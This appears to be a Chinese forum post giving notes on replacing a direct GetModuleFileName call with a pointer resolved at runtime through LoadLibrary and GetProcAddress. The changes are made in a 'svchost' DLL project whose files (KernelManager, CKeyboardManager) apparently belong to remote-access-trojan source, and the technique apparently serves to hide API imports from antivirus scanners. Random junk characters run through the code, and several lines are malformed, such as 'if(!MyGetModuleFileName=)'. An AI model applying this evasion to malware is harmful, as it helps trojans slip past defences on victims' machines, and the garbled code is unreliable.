|

- 帖子
- 11
- 积分
- 14
- 威望
- 17
- 金钱
- 10
- 在线时间
- 0 小时
|
全局动态调用笔记# c; K+ Q) G1 @8 N/ N w4 T |
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h# k) n' J1 h0 W* O. o, I
----------------------------------------
. L2 _1 p( k4 `2 M7 hDTDY.h:
( U5 z& O0 S4 k$ E4 _+ Y: H! s; R& A
#if _MSC_VER>1000
, n" g% T* L n# T#pragma once
# o2 w" y* s, z# u7 |4 L) z3 R/ E#endif //_MSC_VER>10008 \! E' E1 K d* ]
#include<windows.h>
: @. V0 |* b" ?) \9 d- F
" ~9 T' I: r. ` l! c5 [typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
2 V- x9 L$ f8 {9 m' `: y% Lclass DTDY
+ F: }# j% S0 E% U+ ]1 T{/ H; f2 O0 I) d& D/ @
public:7 n o' K1 _: v
DTDY();! {9 \: U5 |- u0 ~6 }0 P) v
virtual ~DTDY();1 x3 J' |! l+ p$ ?: w- o4 }
public:: V' a- i" O {
static pGetModuleFileNameA MyGetModuleFileName;( T7 u9 Y/ Z* `8 l* O
static BOOL FunInitiallization();0 M8 v ?7 | s5 W
};9 w" A) U# o) n4 O
#endif
8 _. L/ V* A5 ^4 @8 w----------------------------------------
* g4 K9 }' x: q9 ?* M& Y8 l7 v2 s/ q/ \7 |
DTDY.cpp:
# P# U( ]! C$ v- t9 P4 Z. N8 S" b% l0 d9 Q; j* L3 n6 F% f
#include "DTDY.h"! y% E/ W8 n$ L
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
( ?3 M, x5 a/ Y, W4 |7 JDTDY:TDY()
) d \4 [% p+ e2 L% D7 \! |9 N{
7 |0 g* I& i& Y0 T}. M3 ^/ N4 O4 E3 V1 Q
DTDY::~DTDY() z5 ^% d8 S/ L3 I$ s1 Y. }
{- \2 ~# h5 e5 J
}+ h2 m" [# r# G
BOOL DTDY::FunInitiallization()7 e" E g/ l8 t, Z, i
{
/ Z; i5 I# J! H9 T& EHMODULE hModule=LoadLibrary("kernel32.dll");
1 l$ `& Z( s1 A2 n8 e+ {MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");" P1 N: ?* W% d; z
if(!MyGetModuleFileName=) return FALSE;
! c/ n* c9 N! C; E* X) F6 i# I; y' z9 f% a' Q: k b3 U
return TRUE;; b1 S% U+ P0 C* d( m2 i. M, e3 P
}
& Z, I% g9 ~6 r; R) _; ]----------------------------------------0 c5 W' l8 y% g# s! P
svchost.cpp:
1 _/ z+ @+ B+ [0 f
% e2 D5 S* i: q- W* E#include "DTDY.h"
* o# }) s, O% h) C1 n3 R2 G7 a8 c/ q( z; z6 f
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)2 o& ~' v m' n. u) x$ o
{
3 n3 ^ p( I: G; G* @2 N4 E6 |switch(ul_reason_for_call)
+ i' L* i3 m# p/ b. f7 Y& N{7 y& k: {1 ^! o: G
case DLL_PROCESS_ATTACH:6 g2 ^& x3 {; X5 ?/ }
if(!DTDY::FunInitiallization()) return FALSE;
# e! u2 I( H5 T4 H6 S, ]( q$ j
5 N3 n7 m! M! e) Sbreak;( O7 K( I! H& ]
}) M: w! P2 Y( Q( v7 Y5 c
}
) E# w$ i7 ^0 E: _, Q' n
3 {8 J$ K* Y* s8 D9 S' m# U# ?; P; l U' w
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def2 q* g1 G) |$ g! H% p u
改写为5 I2 ~* S F/ o: L; t
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
# H# \3 Z2 }, D" s5 S" e----------------------------------------- S5 X4 @( {, i, A( K/ c3 [
KernelManager.cpp:' `0 O! h- P9 t4 x/ |" `
0 f; ^8 C3 j: t3 N
#include "../DTDY.h"* ?1 i5 e/ t2 R1 P& T( N0 Z3 S' h1 X
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
2 E& m" X$ Z# Q; r% e% n改写为
* o1 S3 ?: q* @1 G RDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));' W3 x* Q2 W( d* w/ o9 i7 ~( R
---------------------------------------- |
|